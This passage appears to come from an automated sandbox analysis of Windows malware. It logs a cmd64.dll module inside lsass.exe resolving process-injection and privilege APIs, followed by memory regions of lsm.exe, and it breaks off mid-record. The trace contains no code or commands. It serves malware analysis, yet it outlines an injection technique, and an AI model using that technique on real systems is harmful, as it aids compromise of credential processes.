(hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0074.354] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0074.355] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0074.356] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0074.357] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0074.357] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0074.357] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0074.357] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0074.357] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0074.357] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0074.357] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0074.357] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0074.357] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0074.357] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0074.357] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0074.357] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0074.357] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0074.357] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0074.357] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0074.359] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0074.359] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\lsass.exe") returned 0x1d [0074.359] PathFindFileNameA (pszPath="C:\\Windows\\system32\\lsass.exe") returned="lsass.exe" [0074.359] GetCommandLineA () returned="C:\\Windows\\system32\\lsass.exe" [0074.359] _strcmpi (_Str1="lsass.exe", _Str2="svchost.exe") returned -7 [0074.359] StrStrIA (lpFirst="lsass.exe", lpSrch="wermgr.exe") returned 0x0 [0074.361] HeapDestroy (hHeap=0x880000) returned 1 [0074.423] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lsasrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.430] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.436] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\samsrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.445] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.451] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wevtapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.658] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cngaudit.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.664] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\authz.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.702] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ncrypt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.709] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\bcrypt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.065] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msprivs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.073] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netjoin.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.112] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\negoexts.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.121] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.145] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.151] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kerberos.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.205] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.257] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.262] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.308] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.334] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wship6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.353] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msv1_0.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.403] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netlogon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.411] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dnsapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.421] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\logoncli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.503] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\schannel.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.563] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wdigest.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.631] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.648] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\TSpkg.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.672] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pku2u.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.712] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\bcryptprimitives.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.760] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.775] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\efslsaext.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.811] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.946] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\scecli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.971] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0075.977] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002e3f3f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c1000 [0075.977] IdePortDispatch () returned 0x103 [0075.985] IdePortDispatch () returned 0x103 [0075.985] IdePortDispatch () returned 0x103 [0075.986] IdePortDispatch () returned 0x103 [0075.986] IdePortDispatch () returned 0x103 Thread: id = 90 os_tid = 0x1f8 Thread: id = 91 os_tid = 0x1fc Thread: id = 92 os_tid = 0x200 Thread: id = 93 os_tid = 0x204 Thread: id = 94 os_tid = 0x208 [0086.846] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WSHTCPIP.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 98 os_tid = 0x210 [0076.377] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.273] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\IPHLPAPI.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.278] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winnsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.328] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.336] IdePortDispatch () returned 0x103 [0086.336] IdePortDispatch () returned 0x103 [0086.337] IdePortDispatch () returned 0x103 [0086.337] IdePortDispatch () returned 0x103 [0086.337] IdePortDispatch () returned 0x103 [0086.338] IdePortDispatch () returned 0x103 [0086.338] IdePortDispatch () returned 0x103 [0086.338] IdePortDispatch () returned 0x103 [0086.338] IdePortDispatch () returned 0x103 [0086.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cb010 [0086.339] IdePortDispatch () returned 0x103 [0086.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cc010 [0086.339] IdePortDispatch () returned 0x103 [0086.340] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cd000 [0086.340] IdePortDispatch () returned 0x103 [0086.340] IdePortDispatch () returned 0x103 [0086.340] IdePortDispatch () returned 0x103 [0086.341] IdePortDispatch () returned 0x103 [0086.341] IdePortDispatch () returned 0x103 [0086.341] IdePortDispatch () returned 0x103 [0086.342] IdePortDispatch () returned 0x103 [0086.342] IdePortDispatch () returned 0x103 [0086.342] IdePortDispatch () returned 0x103 [0086.343] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d0000 [0086.343] IdePortDispatch () returned 0x103 [0086.343] IdePortDispatch () returned 0x103 [0086.343] IdePortDispatch () returned 0x103 [0086.344] IdePortDispatch () returned 0x103 [0086.344] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d1000 [0086.344] IdePortDispatch () returned 0x103 [0086.344] IdePortDispatch () returned 0x103 [0086.345] IdePortDispatch () returned 0x103 [0086.345] IdePortDispatch () returned 0x103 [0086.345] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d3000 [0086.345] IdePortDispatch () returned 0x103 [0086.348] IdePortDispatch () returned 0x103 [0086.349] IdePortDispatch () returned 0x103 [0086.349] IdePortDispatch () returned 0x103 [0086.831] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\userenv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.832] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.413] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003555000 [0102.413] IdePortDispatch () returned 0x103 [0102.414] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003556000 [0102.414] IdePortDispatch () returned 0x103 [0102.416] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003557000 [0102.416] IdePortDispatch () returned 0x103 [0102.418] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003558000 [0102.418] IdePortDispatch () returned 0x103 [0102.419] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355a000 [0102.419] IdePortDispatch () returned 0x103 [0102.419] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355b000 [0102.419] IdePortDispatch () returned 0x103 Thread: id = 99 os_tid = 0x214 Thread: id = 100 os_tid = 0x218 Thread: id = 101 os_tid = 0x21c Thread: id = 102 os_tid = 0x220 Thread: id = 169 os_tid = 0x330 Thread: id = 170 os_tid = 0x338 Thread: id = 236 os_tid = 0x120 Thread: id = 264 os_tid = 0x420 Process: id = "13" image_name = "lsm.exe" filename = "c:\\windows\\system32\\lsm.exe" page_root = "0x146ce000" os_pid = "0x1ec" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x174" cmd_line = "C:\\Windows\\system32\\lsm.exe" cur_dir = "C:\\Windows\\system32\\" Region: id = 666 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 667 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 668 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 669 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 670 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 671 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 672 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 673 start_va = 0xffae0000 end_va = 0xffb36fff entry_point = 0xffaf3450 region_type = mapped_file name = "lsm.exe" filename = "\\Windows\\System32\\lsm.exe" Region: id = 674 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 675 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 676 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 677 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 678 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 679 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 680 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 681 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 682 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 683 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 684 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 685 start_va = 0x160000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 686 start_va = 0x400000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 687 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 688 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 689 start_va = 0x7fefda30000 end_va = 0x7fefda37fff entry_point = 0x7fefda32a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" Region: id = 690 start_va = 0x7fefda40000 end_va = 0x7fefda49fff entry_point = 0x7fefda43b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" Region: id = 691 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 692 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 693 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 720 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 721 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 722 start_va = 0x100000 end_va = 0x101fff entry_point = 0x100000 region_type = mapped_file name = "lsm.exe.mui" filename = "\\Windows\\System32\\en-US\\lsm.exe.mui" Region: id = 723 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 724 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 725 start_va = 0x500000 end_va = 0x687fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 726 start_va = 0x690000 end_va = 0x810fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 727 start_va = 0x820000 end_va = 0x8dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 728 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 729 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 730 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 731 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 732 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 733 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 734 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 735 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 736 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 737 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 738 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 739 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 740 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 741 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 742 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 747 start_va = 0x9e0000 end_va = 0xa5ffff entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 748 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 749 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 750 start_va = 0xd20000 end_va = 0xfeefff entry_point = 0xd20000 region_type = mapped_file name = 